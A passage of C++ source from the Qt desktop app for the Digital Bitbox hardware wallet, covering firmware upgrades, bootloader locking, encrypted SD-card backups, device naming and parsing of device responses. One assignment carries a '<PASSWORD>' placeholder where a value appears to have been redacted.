// We only want valid interfaces that aren't loopback/virtual and not point to point
if ( !ifaces[i].isValid() || isLoopback || isP2P ) continue;
QList<QHostAddress> addresses = ifaces[i].allAddresses();
for(int a=0; a < addresses.size(); a++)
{
// Ignore local host
if ( addresses[a] == QHostAddress::LocalHost ) continue;
// Ignore non-ipv4 addresses
if ( !addresses[a].toIPv4Address() ) continue;
// Ignore self assigned IPs
if ( addresses[a].isInSubnet(QHostAddress("169.254.0.0"), 16) )
continue;
QString ip = addresses[a].toString();
if ( ip.isEmpty() ) continue;
bool foundMatch = false;
for (int j=0; j < possibleMatches.size(); j++) if ( ip == possibleMatches[j] ) { foundMatch = true; break; }
if ( !foundMatch ) { ipAddress = ip; break; }
}
}
}
return ipAddress;
}
void DBBDaemonGui::getRandomNumber()
{
executeCommandWrapper("{\"random\" : \"pseudo\" }", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_RANDOM_NUM);
});
}
void DBBDaemonGui::lockDevice()
{
QMessageBox::StandardButton reply = QMessageBox::question(this, "", tr("Do you have a backup?\nIs mobile app verification working?\n\n2FA mode DISABLES backups and mobile app pairing. The device must be ERASED to exit 2FA mode!\n\nProceed?"), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::No)
return;
executeCommandWrapper("{\"device\" : \"lock\" }", DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_DEVICE_LOCK);
});
}
void DBBDaemonGui::lockBootloader()
{
executeCommandWrapper("{\"bootloader\" : \"lock\" }", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_BOOTLOADER_LOCK);
});
}
void DBBDaemonGui::upgradeFirmwareButton()
{
upgradeFirmware(true);
}
void DBBDaemonGui::upgradeFirmware(bool unlockbootloader)
{
//: translation: Open file dialog help text
firmwareFileToUse = QFileDialog::getOpenFileName(this, tr("Select Firmware"), "", tr("DBB Firmware Files (*.bin *.dbb)"));
if (firmwareFileToUse.isNull())
return;
if (unlockbootloader)
{
DBB::LogPrint("Request bootloader unlock\n", "");
executeCommandWrapper("{\"bootloader\" : \"unlock\" }", DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_BOOTLOADER_UNLOCK);
}, tr("Unlock the bootloader to install a new firmware"));
}
else
{
upgradeFirmwareWithFile(firmwareFileToUse);
}
}
void DBBDaemonGui::noDeviceConnectedLabelLink(const QString& link)
{
upgradeFirmware(false);
}
void DBBDaemonGui::upgradeFirmwareWithFile(const QString& fileName)
{
if (!fileName.isNull())
{
std::string possibleFilename = fileName.toStdString();
if (fwUpgradeThread)
{
fwUpgradeThread->join();
delete fwUpgradeThread;
}
DBB::LogPrint("Start upgrading firmware\n", "");
//: translation: started updating firmware info text
showModalInfo("<strong>Upgrading Firmware...</strong><br/><br/>Please stand by...", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO);
setFirmwareUpdateHID(true);
fwUpgradeThread = new std::thread([this,possibleFilename]() {
bool upgradeRes = false;
std::streamsize firmwareSize;
std::stringstream buffer;
if (possibleFilename.empty() || possibleFilename == "" || possibleFilename == "int")
{
// load internally
for (int i = 0; i<firmware_deterministic_3_0_0_signed_bin_len;i++)
{
buffer << firmware_deterministic_3_0_0_signed_bin[i];
}
firmwareSize = firmware_deterministic_3_0_0_signed_bin_len;
}
else {
// load the file
std::ifstream firmwareFile(possibleFilename, std::ios::binary);
buffer << firmwareFile.rdbuf();
firmwareSize = firmwareFile.tellg();
firmwareFile.close();
}
buffer.seekg(0, std::ios::beg);
if (firmwareSize > 0)
{
std::string sigStr;
//read signatures
if (DBB::GetArg("-noreadsig", "") == "")
{
unsigned char sigByte[FIRMWARE_SIGLEN];
buffer.read((char *)&sigByte[0], FIRMWARE_SIGLEN);
sigStr = DBB::HexStr(sigByte, sigByte + FIRMWARE_SIGLEN);
}
//read firmware
std::vector<char> firmwareBuffer(DBB_APP_LENGTH);
unsigned int pos = 0;
while (true)
{
buffer.read(&firmwareBuffer[0]+pos, FIRMWARE_CHUNKSIZE);
std::streamsize bytes = buffer.gcount();
if (bytes == 0)
break;
pos += bytes;
}
// append 0xff to the rest of the firmware buffer
memset((void *)(&firmwareBuffer[0]+pos), 0xff, DBB_APP_LENGTH-pos);
if (DBB::GetArg("-dummysigwrite", "") != "")
{
sigStr = DBB::dummySig(firmwareBuffer);
}
emit shouldUpdateModalInfo("<strong>Upgrading Firmware...</strong>");
// send firmware blob to DBB
if (DBB::upgradeFirmware(firmwareBuffer, firmwareSize, sigStr, [this](const std::string& infotext, float progress) {
emit shouldUpdateModalInfo(tr("<strong>Upgrading Firmware...</strong><br/><br/>%1% complete").arg(QString::number(progress*100, 'f', 1)));
}))
{
upgradeRes = true;
}
}
emit firmwareThreadDone(upgradeRes);
});
}
else
{
setFirmwareUpdateHID(false);
upgradeFirmwareState = false;
}
}
void DBBDaemonGui::upgradeFirmwareDone(bool status)
{
setFirmwareUpdateHID(false);
upgradeFirmwareState = false;
hideModalInfo();
deviceConnected = false;
uiUpdateDeviceState();
shouldKeepBootloaderState = false;
if (status)
{
//: translation: successfull firmware update text
DBB::LogPrint("Firmware successfully upgraded\n", "");
showModalInfo(tr("<strong>Upgrade successful!</strong><br><br>Please unplug and replug your Digital Bitbox to continue. <br><font color=\"#6699cc\">Do not tap the touch button this time</font>."), DBB_PROCESS_INFOLAYER_STYLE_REPLUG);
}
else
{
//: translation: firmware upgrade error
DBB::LogPrint("Error while upgrading firmware\n", "");
showAlert(tr("Firmware Upgrade"), tr("Error while upgrading firmware. Please unplug and replug your Digital Bitbox."));
}
}
void DBBDaemonGui::setDeviceNameProvided(const QString &name)
{
setDeviceName(name, DBB_RESPONSE_TYPE_SET_DEVICE_NAME_RECREATE);
}
void DBBDaemonGui::setDeviceNameClicked()
{
bool ok;
QString tempDeviceName = QInputDialog::getText(this, "", tr("Enter device name"), QLineEdit::Normal, "", &ok);
if (!ok || tempDeviceName.isEmpty())
return;
QRegExp nameMatcher("^[0-9A-Z-_ ]{1,64}$", Qt::CaseInsensitive);
if (!nameMatcher.exactMatch(tempDeviceName))
{
showModalInfo(tr("The device name must only contain alphanumeric characters and - or _"), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
return;
}
deviceName = tempDeviceName;
setDeviceName(tempDeviceName, DBB_RESPONSE_TYPE_SET_DEVICE_NAME);
}
void DBBDaemonGui::setDeviceName(const QString &newDeviceName, dbb_response_type_t response_type)
{
std::string command = "{\"name\" : \""+newDeviceName.toStdString()+"\" }";
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this, response_type](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, response_type);
});
}
void DBBDaemonGui::parseBitcoinURI(const QString& uri, QString& addressOut, QString& amountOut)
{
static const char bitcoinurl[] = "bitcoin:";
static const char amountfield[] = "amount=";
if (uri.startsWith(bitcoinurl, Qt::CaseInsensitive))
{
// get the part after the "bitcoin:"
QString addressWithDetails = uri.mid(strlen(bitcoinurl));
// form a substring with only the address
QString onlyAddress = addressWithDetails.mid(0,addressWithDetails.indexOf("?"));
// if there is an amount, rip our the string
if (addressWithDetails.indexOf(amountfield) != -1)
{
QString part = addressWithDetails.mid(addressWithDetails.indexOf(amountfield));
QString amount = part.mid(strlen(amountfield),part.indexOf("&")-strlen(amountfield));
// fill amount
amountOut = amount;
}
// fill address
addressOut = onlyAddress;
}
}
/*
////////////////////////
Address Exporting Stack
////////////////////////
*/
#pragma mark Get Address Stack
void DBBDaemonGui::showGetAddressDialog()
{
getAddressDialog->setBaseKeypath(singleWallet->baseKeypath());
getAddressDialog->show();
}
void DBBDaemonGui::getAddressGetXPub(const QString& keypath)
{
getXPub(keypath.toStdString(), DBB_RESPONSE_TYPE_XPUB_GET_ADDRESS, DBB_ADDRESS_STYLE_P2PKH);
}
void DBBDaemonGui::getAddressVerify(const QString& keypath)
{
getXPub(keypath.toStdString(), DBB_RESPONSE_TYPE_XPUB_VERIFY, DBB_ADDRESS_STYLE_P2PKH);
}
/*
/////////////////
DBB Backup Stack
/////////////////
*/
#pragma mark DBB Backup
void DBBDaemonGui::showBackupDialog()
{
backupDialog->show();
listBackup();
}
void DBBDaemonGui::addBackup()
{
std::string hashHex = DBB::getStretchedBackupHexKey(sessionPassword);
std::string backupFilename = getBackupString();
std::string command = "{\"backup\" : {\"encrypt\" :\"yes\","
"\"key\":\"" + hashHex + "\","
"\"filename\": \"" + backupFilename + ".pdf\"} }";
DBB::LogPrint("Adding a backup (%s)\n", backupFilename.c_str());
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_ADD_BACKUP);
});
}
void DBBDaemonGui::listBackup()
{
std::string command = "{\"backup\" : \"list\" }";
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_LIST_BACKUP);
});
backupDialog->showLoading();
}
void DBBDaemonGui::eraseAllBackups()
{
//: translation: Erase all backup warning text
QMessageBox::StandardButton reply = QMessageBox::question(this, tr("Erase All Backups?"), tr("Are your sure you want to erase all backups"), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::No)
return;
DBB::LogPrint("Erasing all backups...\n", "");
std::string command = "{\"backup\" : \"erase\" }";
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_ERASE_BACKUP);
});
backupDialog->showLoading();
}
void DBBDaemonGui::verifyBackup(const QString& backupFilename)
{
bool ok;
QString tempBackupPassword = QInputDialog::getText(this, "", tr("Enter backup-file password"), QLineEdit::Password, "", &ok);
if (!ok || tempBackupPassword.isEmpty())
return;
std::string hashHex = DBB::getStretchedBackupHexKey(tempBackupPassword.toStdString());
std::string command = "{\"backup\" : {"
"\"check\" :\"" + backupFilename.toStdString() + "\","
"\"key\":\""+hashHex+"\""
"} }";
DBB::LogPrint("Verify single backup (%s)...\n", backupFilename.toStdString().c_str());
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_VERIFY_BACKUP, 1);
});
}
void DBBDaemonGui::eraseBackup(const QString& backupFilename)
{
//: translation: Erase all backup warning text
QMessageBox::StandardButton reply = QMessageBox::question(this, tr("Erase Single Backup?"), tr("Are your sure you want to erase backup %1").arg(backupFilename), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::No)
return;
std::string command = "{\"backup\" : { \"erase\" : \"" + backupFilename.toStdString() + "\" } }";
DBB::LogPrint("Eraseing single backup (%s)...\n", backupFilename.toStdString().c_str());
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_ERASE_BACKUP, 1);
});
}
void DBBDaemonGui::restoreBackup(const QString& backupFilename)
{
bool ok;
QString tempBackupPassword = QInputDialog::getText(this, "", tr("To restore a wallet from a backup, please enter the\ndevice password that was used during wallet initialization."), QLineEdit::Password, "", &ok);
if (!ok || tempBackupPassword.isEmpty())
return;
std::string hashHex = DBB::getStretchedBackupHexKey(tempBackupPassword.toStdString());
std::string command = "{\"seed\" : {"
"\"source\":\"backup\","
"\"filename\" :\"" + backupFilename.toStdString() + "\","
"\"key\":\""+hashHex+"\""
"} }";
DBB::LogPrint("Restoring backup (%s)...\n", backupFilename.toStdString().c_str());
executeCommandWrapper(command, (cachedWalletAvailableState) ? DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON : DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_CREATE_WALLET, 1);
});
backupDialog->close();
}
/*
///////////////////////////////////
DBB USB Commands (Response Parsing)
///////////////////////////////////
*/
#pragma mark DBB USB Commands (Response Parsing)
void DBBDaemonGui::parseResponse(const UniValue& response, dbb_cmd_execution_status_t status, dbb_response_type_t tag, int subtag)
{
DBB::LogPrint("Parsing response from device...\n", "");
processCommand = false;
setLoading(false);
if (response.isObject()) {
UniValue errorObj = find_value(response, "error");
UniValue touchbuttonObj = find_value(response, "touchbutton");
bool touchErrorShowed = false;
if (touchbuttonObj.isStr()) {
showAlert(tr("Touchbutton"), QString::fromStdString(touchbuttonObj.get_str()));
touchErrorShowed = true;
}
bool errorShown = false;
if (errorObj.isObject()) {
//error found
DBB::LogPrint("Got error object from device\n", "");
//special case, password not accepted during "login" because of a ongoing-signing, etc.
if (this->ui->blockerView->isVisible() && this->ui->passwordLineEdit->isVisible())
{
sessionPassword.clear();
this->ui->passwordLineEdit->setText("");
askForSessionPassword();
}
UniValue errorCodeObj = find_value(errorObj, "code");
UniValue errorMessageObj = find_value(errorObj, "message");
UniValue command = find_value(errorObj, "command");
//hack to avoid backup verify/check error 108 result in a logout
//remove it when MCU has different error code for that purpose
if (errorCodeObj.isNum() && errorCodeObj.get_int() == 108 && (!command.isStr() || command.get_str() != "backup")) {
//: translation: password wrong text
showAlert(tr("Password Error"), tr("Password Wrong. %1").arg(QString::fromStdString(errorMessageObj.get_str())));
errorShown = true;
sessionPassword.clear();
//try again
askForSessionPassword();
} else if (errorCodeObj.isNum() && errorCodeObj.get_int() == 110) {
//: translation: password wrong device reset text
showAlert(tr("Password Error"), tr("Device Reset. %1").arg(QString::fromStdString(errorMessageObj.get_str())), true);
errorShown = true;
} else if (errorCodeObj.isNum() && errorCodeObj.get_int() == 101) {
sessionPassword.clear();
this->ui->modalBlockerView->showSetNewWallet();
} else {
//password wrong
showAlert(tr("Error"), QString::fromStdString(errorMessageObj.get_str()));
errorShown = true;
}
} else if (tag == DBB_RESPONSE_TYPE_INFO) {
DBB::LogPrint("Got device info\n", "");
UniValue deviceObj = find_value(response, "device");
if (deviceObj.isObject()) {
UniValue version = find_value(deviceObj, "version");
UniValue name = find_value(deviceObj, "name");
UniValue seeded = find_value(deviceObj, "seeded");
UniValue lock = find_value(deviceObj, "lock");
UniValue sdcard = find_value(deviceObj, "sdcard");
UniValue bootlock = find_value(deviceObj, "bootlock");
UniValue walletIDUV = find_value(deviceObj, "id");
cachedWalletAvailableState = seeded.isTrue();
cachedDeviceLock = lock.isTrue();
ui->lockDevice->setEnabled(!cachedDeviceLock);
ui->showBackups->setEnabled(!cachedDeviceLock);
ui->pairDeviceButton->setEnabled(!cachedDeviceLock);
if (cachedDeviceLock)
ui->lockDevice->setText(tr("Full 2FA is enabled"));
else
ui->lockDevice->setText(tr("Enable Full 2FA"));
//update version and check for compatibility
if (version.isStr() && !DBB::mapArgs.count("-noversioncheck")) {
QString v = QString::fromStdString(version.get_str());
if (v.contains(QString("v1.")) || v.contains(QString("v0."))) {
showModalInfo(tr("Your Digital Bitbox uses <strong>old firmware incompatible with this app</strong>. Get the latest firmware at `digitalbitbox.com/firmware`. Upload it using the Options menu item Upgrade Firmware. Because the wallet key paths have changed, coins in a wallet created by an old app cannot be spent using the new app. You must use the old app to send coins to an address in a new wallet created by the new app.<br><br>To be safe, <strong>backup your old wallet</strong> before upgrading.<br>(Older firmware can be reloaded using the same procedure.)<br><br><br>"), DBB_PROCESS_INFOLAYER_UPGRADE_FIRMWARE);
return;
}
this->ui->versionLabel->setText(v);
}
try {
std::string vcopy = version.get_str();
vcopy.erase(std::remove(vcopy.begin(), vcopy.end(), 'v'), vcopy.end());
vcopy.erase(std::remove(vcopy.begin(), vcopy.end(), 'V'), vcopy.end());
vcopy.erase(std::remove(vcopy.begin(), vcopy.end(), '.'), vcopy.end());
int test = std::stoi(vcopy);
if (test < firmware_deterministic_version && bootlock.isTrue()) {
QMessageBox msgBox;
msgBox.setText(tr("Update Firmware"));
msgBox.setInformativeText(tr("A firmware upgrade (%1) is required to use this desktop app version. Do you wish to install it?").arg(QString::fromStdString(std::string(firmware_deterministic_string))));
QAbstractButton *showOnline = msgBox.addButton(tr("Show online information"), QMessageBox::RejectRole);
msgBox.addButton(QMessageBox::Yes);
msgBox.addButton(QMessageBox::No);
int res = msgBox.exec();
if (msgBox.clickedButton() == showOnline)
{
QDesktopServices::openUrl(QUrl("https://digitalbitbox.com/firmware?app=dbb-app"));
DBB::LogPrint("Requested firmware update information\n", "");
emit reloadGetinfo();
return;
}
else if (res == QMessageBox::Yes) {
DBB::LogPrint("Upgrading firmware\n", "");
firmwareFileToUse = "int";
DBB::LogPrint("Request bootloader unlock\n", "");
executeCommandWrapper("{\"bootloader\" : \"unlock\" }", DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
UniValue errorObj = find_value(jsonOut, "error");
if (errorObj.isObject()) {
processCommand = false;
emit shouldHideModalInfo();
emit reloadGetinfo();
}
else {
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_BOOTLOADER_UNLOCK);
}
}, tr("Unlock the bootloader to install a new firmware"));
passwordAccepted();
return;
} else {
DBB::LogPrint("Outdated firmware\n", "");
deviceConnected = false;
uiUpdateDeviceState();
return;
}
}
} catch (std::exception &e) {
}
//update device name
if (name.isStr())
{
deviceName = QString::fromStdString(name.get_str());
this->ui->deviceNameLabel->setText("<strong>Name:</strong> "+deviceName);
}
this->ui->DBBAppVersion->setText("v"+QString(DBB_PACKAGE_VERSION));
updateOverviewFlags(cachedWalletAvailableState, cachedDeviceLock, false);
bool shouldCreateWallet = false;
if (cachedWalletAvailableState && walletIDUV.isStr())
{
//initializes wallets (filename, get address, etc.)
if (singleWallet->client.getFilenameBase().empty())
{
singleWallet->client.setFilenameBase(walletIDUV.get_str()+"_copay_single");
singleWallet->client.LoadLocalData();
std::string lastAddress, keypath;
singleWallet->client.GetLastKnownAddress(lastAddress, keypath);
singleWallet->rewriteKeypath(keypath);
updateReceivingAddress(singleWallet, lastAddress, keypath);
if (singleWallet->client.GetXPubKey().size() <= 0)
shouldCreateWallet = true;
}
if (vMultisigWallets[0]->client.getFilenameBase().empty())
{
vMultisigWallets[0]->client.setFilenameBase(walletIDUV.get_str()+"_copay_multisig_0");
vMultisigWallets[0]->client.LoadLocalData();
}
}
if (shouldCreateWallet)
{
//: translation: modal info during copay wallet creation
showModalInfo(tr("Creating Wallet"));
createSingleWallet();
}
//enable UI
passwordAccepted();
if (!cachedWalletAvailableState)
{
if (sdcard.isBool() && !sdcard.isTrue())
{
//: translation: warning text if micro SD card needs to be inserted for wallet creation
showModalInfo(tr("Please insert a micro SD card and <strong>replug</strong> the device. Make sure the SDCard is pushed in all the way. Initializing the wallet is only possible with an SD card. Otherwise, you will not have a backup."));
updateModalWithIconName(":/icons/touchhelp_sdcard_in");
return;
}
//: translation: modal text during seed command DBB
showModalInfo(tr("Creating Wallet"));
initialWalletSeeding = true;
seedHardware();
return;
}
deviceIsReadyToInteract();
if (sdcard.isBool() && sdcard.isTrue() && cachedWalletAvailableState && !sdcardWarned)
{
//: translation: warning text if micro SD card is inserted
showModalInfo(tr("Keep the SD card somewhere safe unless doing backups or restores."), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
updateModalWithIconName(":/icons/touchhelp_sdcard");
sdcardWarned = true;
}
// special case for post firmware upgrades (lock bootloader)
if (!shouldKeepBootloaderState && bootlock.isFalse())
{
// lock bootloader
lockBootloader();
shouldKeepBootloaderState = false;
return;
}
if (initialWalletSeeding)
{
showModalInfo(tr(""), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
updateModalWithIconName(":/icons/touchhelp_initdone");
initialWalletSeeding = false;
}
if (openedWithBitcoinURI)
{
QString amount;
QString address;
parseBitcoinURI(*openedWithBitcoinURI, address, amount);
delete openedWithBitcoinURI; openedWithBitcoinURI = NULL;
mainSendButtonClicked();
this->ui->sendToAddress->setText(address);
this->ui->sendAmount->setText(amount);
}
}
} else if (tag == DBB_RESPONSE_TYPE_XPUB_MS_MASTER) {
UniValue xPubKeyUV = find_value(response, "xpub");
QString errorString;
if (!xPubKeyUV.isNull() && xPubKeyUV.isStr()) {
std::string xPubKeyNew;
if (DBB_USE_TESTNET)
{
btc_hdnode node;
bool r = btc_hdnode_deserialize(xPubKeyUV.get_str().c_str(), &btc_chain_main, &node);
char outbuf[112];
btc_hdnode_serialize_public(&node, &btc_chain_test, outbuf, sizeof(outbuf));
xPubKeyNew.assign(outbuf);
}
else
xPubKeyNew = xPubKeyUV.get_str();
//0 = singlewallet
if (subtag == 0)
singleWallet->client.setMasterPubKey(xPubKeyNew);
else
vMultisigWallets[0]->client.setMasterPubKey(xPubKeyNew);
emit XPubForCopayWalletIsAvailable(subtag);
} else {
if (xPubKeyUV.isObject()) {
UniValue errorObj = find_value(xPubKeyUV, "error");
if (!errorObj.isNull() && errorObj.isStr())
errorString = QString::fromStdString(errorObj.get_str());
}
showAlert(tr("Join Wallet Error"), tr("Error joining Copay Wallet (%1)").arg(errorString));
}
} else if (tag == DBB_RESPONSE_TYPE_XPUB_MS_REQUEST) {
UniValue requestXPubKeyUV = find_value(response, "xpub");
QString errorString;
if (!requestXPubKeyUV.isNull() && requestXPubKeyUV.isStr()) {
std::string xRequestKeyNew;
if (DBB_USE_TESTNET)
{
btc_hdnode node;
bool r = btc_hdnode_deserialize(requestXPubKeyUV.get_str().c_str(), &btc_chain_main, &node);
char outbuf[112];
btc_hdnode_serialize_public(&node, &btc_chain_test, outbuf, sizeof(outbuf));
xRequestKeyNew.assign(outbuf);
}
else
xRequestKeyNew = requestXPubKeyUV.get_str();
if (subtag == 0)
singleWallet->client.setRequestPubKey(xRequestKeyNew);
else
vMultisigWallets[0]->client.setRequestPubKey(xRequestKeyNew);
emit RequestXPubKeyForCopayWalletIsAvailable(subtag);
} else {
if (requestXPubKeyUV.isObject()) {
UniValue errorObj = find_value(requestXPubKeyUV, "error");
if (!errorObj.isNull() && errorObj.isStr())
errorString = QString::fromStdString(errorObj.get_str());
}
showAlert(tr("Join Wallet Error"), tr("Error joining Copay Wallet (%1)").arg(errorString));
}
} else if (tag == DBB_RESPONSE_TYPE_XPUB_VERIFY) {
UniValue responseMutable(UniValue::VOBJ);
UniValue requestXPubKeyUV = find_value(response, "xpub");
UniValue requestXPubEchoUV = find_value(response, "echo");
QString errorString;
if (requestXPubKeyUV.isStr() && requestXPubEchoUV.isStr()) {
//pass the response to the verification devices
responseMutable.pushKV("echo", requestXPubEchoUV.get_str().c_str());
if (subtag == DBB_ADDRESS_STYLE_MULTISIG_1OF1)
responseMutable.pushKV("type", "p2sh_ms_1of1");
if (subtag == DBB_ADDRESS_STYLE_P2PKH) {
responseMutable.pushKV("type", "p2pkh");
// compare the addresses
btc_hdnode node;
bool r = btc_hdnode_deserialize(requestXPubKeyUV.get_str().c_str(), &btc_chain_main, &node);
char address[1024];
btc_hdnode_get_p2pkh_address(&node, (DBB_USE_TESTNET ? &btc_chain_test : &btc_chain_main), address, sizeof(address));
std::string strAddress(address);
if (strAddress != ui->currentAddress->text().toStdString()) {
showModalInfo(tr("The address does <strong><font color=\"#AA0000\">not match</font></strong>."), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
}
}
// send verification to verification devices
if (comServer->mobileAppConnected)
comServer->postNotification(responseMutable.write());
}
if (!comServer->mobileAppConnected)
{
if (!verificationDialog)
verificationDialog = new VerificationDialog();
verificationDialog->show();
verificationDialog->setData(tr("Securely Verify Your Receiving Address"), tr("No mobile app detected.<br><br>You can verify the address by manually scanning QR codes with a paired Digital Bitbox mobile app."), responseMutable.write());
}
} else if (tag == DBB_RESPONSE_TYPE_LIST_BACKUP && backupDialog) {
UniValue backupObj = find_value(response, "backup");
if (backupObj.isArray()) {
std::vector<std::string> data;
for (const UniValue& obj : backupObj.getValues())
{
data.push_back(obj.get_str());
}
backupDialog->showList(data);
}
} else if (tag == DBB_RESPONSE_TYPE_ADD_BACKUP && backupDialog) {
listBackup();
} else if (tag == DBB_RESPONSE_TYPE_VERIFY_BACKUP && backupDialog) {
UniValue verifyResult = find_value(response, "backup");
if (verifyResult.isStr() && verifyResult.get_str() == "success") {
showModalInfo(tr("This backup is a <strong><font color=\"#00AA00\">valid</font></strong> backup of your current wallet."), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
}
else
{
showModalInfo(tr("This backup does <strong><font color=\"#AA0000\">not match</font></strong> your current wallet."), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
}
backupDialog->hide();
} else if (tag == DBB_RESPONSE_TYPE_ERASE_BACKUP && backupDialog) {
listBackup();
} else if (tag == DBB_RESPONSE_TYPE_RANDOM_NUM) {
UniValue randomNumObjUV = find_value(response, "random");
UniValue randomNumEchoUV = find_value(response, "echo");
if (randomNumObjUV.isStr()) {
showModalInfo("<strong>"+tr("Random hexadecimal number")+"</strong><br /><br />"+QString::fromStdString(randomNumObjUV.get_str()+""), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
QString errorString;
// send verification to verification devices
if (randomNumEchoUV.isStr() && comServer->mobileAppConnected)
comServer->postNotification(response.write());
}
} else if (tag == DBB_RESPONSE_TYPE_DEVICE_LOCK) {
bool suc = false;
//check device:lock response and give appropriate user response
UniValue deviceObj = find_value(response, "device");
if (deviceObj.isObject()) {
UniValue lockObj = find_value(deviceObj, "lock");
if (lockObj.isBool() && lockObj.isTrue())
suc = true;
}
if (suc)
QMessageBox::information(this, tr("Success"), tr("Your device is now locked"), QMessageBox::Ok);
else
showAlert(tr("Error"), tr("Could not lock your device"));
//reload device infos
resetInfos();
getInfo();
} else if (tag == DBB_RESPONSE_TYPE_BOOTLOADER_UNLOCK) {
upgradeFirmwareState = true;
shouldKeepBootloaderState = true;
showModalInfo("<strong>Upgrading Firmware...</strong><br/><br/>Please unplug and replug your Digital Bitbox.<br>Before the LED turns off, briefly <font color=\"#6699cc\">tap the touch button</font> to start the upgrade.", DBB_PROCESS_INFOLAYER_STYLE_REPLUG);
}
else if (tag == DBB_RESPONSE_TYPE_BOOTLOADER_LOCK) {
hideModalInfo();
}
else if (tag == DBB_RESPONSE_TYPE_SET_DEVICE_NAME || tag == DBB_RESPONSE_TYPE_SET_DEVICE_NAME_CREATE || tag == DBB_RESPONSE_TYPE_SET_DEVICE_NAME_RECREATE) {
UniValue name = find_value(response, "name");
if (name.isStr()) {
deviceName = QString::fromStdString(name.get_str());
this->ui->deviceNameLabel->setText("<strong>Name:</strong> "+deviceName);
if (tag == DBB_RESPONSE_TYPE_SET_DEVICE_NAME_CREATE)
getInfo();
if (tag == DBB_RESPONSE_TYPE_SET_DEVICE_NAME_RECREATE)
seedHardware();
}
}
else {
}
//no else if because we want to hide the blocker view in case of an error
if (tag == DBB_RESPONSE_TYPE_VERIFYPASS_ECDH)
{
if (errorObj.isObject()) {
showAlert(tr("Error"), tr("Verification Device Pairing Failed"));
}
hideModalInfo();
if (comServer)
comServer->postNotification(response.write());
}
if (tag == DBB_RESPONSE_TYPE_CREATE_WALLET) {
hideModalInfo();
UniValue touchbuttonObj = find_value(response, "touchbutton");
UniValue seedObj = find_value(response, "seed");
UniValue errorObj = find_value(response, "error");
QString errorString;
if (errorObj.isObject()) {
UniValue errorMsgObj = find_value(errorObj, "message");
if (errorMsgObj.isStr())
errorString = QString::fromStdString(errorMsgObj.get_str());
}
if (!touchbuttonObj.isNull() && touchbuttonObj.isObject()) {
UniValue errorObj = find_value(touchbuttonObj, "error");
if (!errorObj.isNull() && errorObj.isStr())
errorString = QString::fromStdString(errorObj.get_str());
}
if (!seedObj.isNull() && seedObj.isStr() && seedObj.get_str() == "success") {
// clear wallet information
if (singleWallet)
singleWallet->client.setNull();
if (vMultisigWallets[0])
vMultisigWallets[0]->client.setNull();
resetInfos();
getInfo();
}
}
if (tag == DBB_RESPONSE_TYPE_ERASE) {
UniValue resetObj = find_value(response, "reset");
if (resetObj.isStr() && resetObj.get_str() == "success") {
sessionPasswordDuringChangeProcess.clear();
//remove local wallets
singleWallet->client.setNull();
vMultisigWallets[0]->client.setNull();
resetInfos();
getInfo();
} else {
//reset password in case of an error
sessionPassword = <PASSWORD>;
sessionPasswordDuringChangeProcess.clear();
}
}
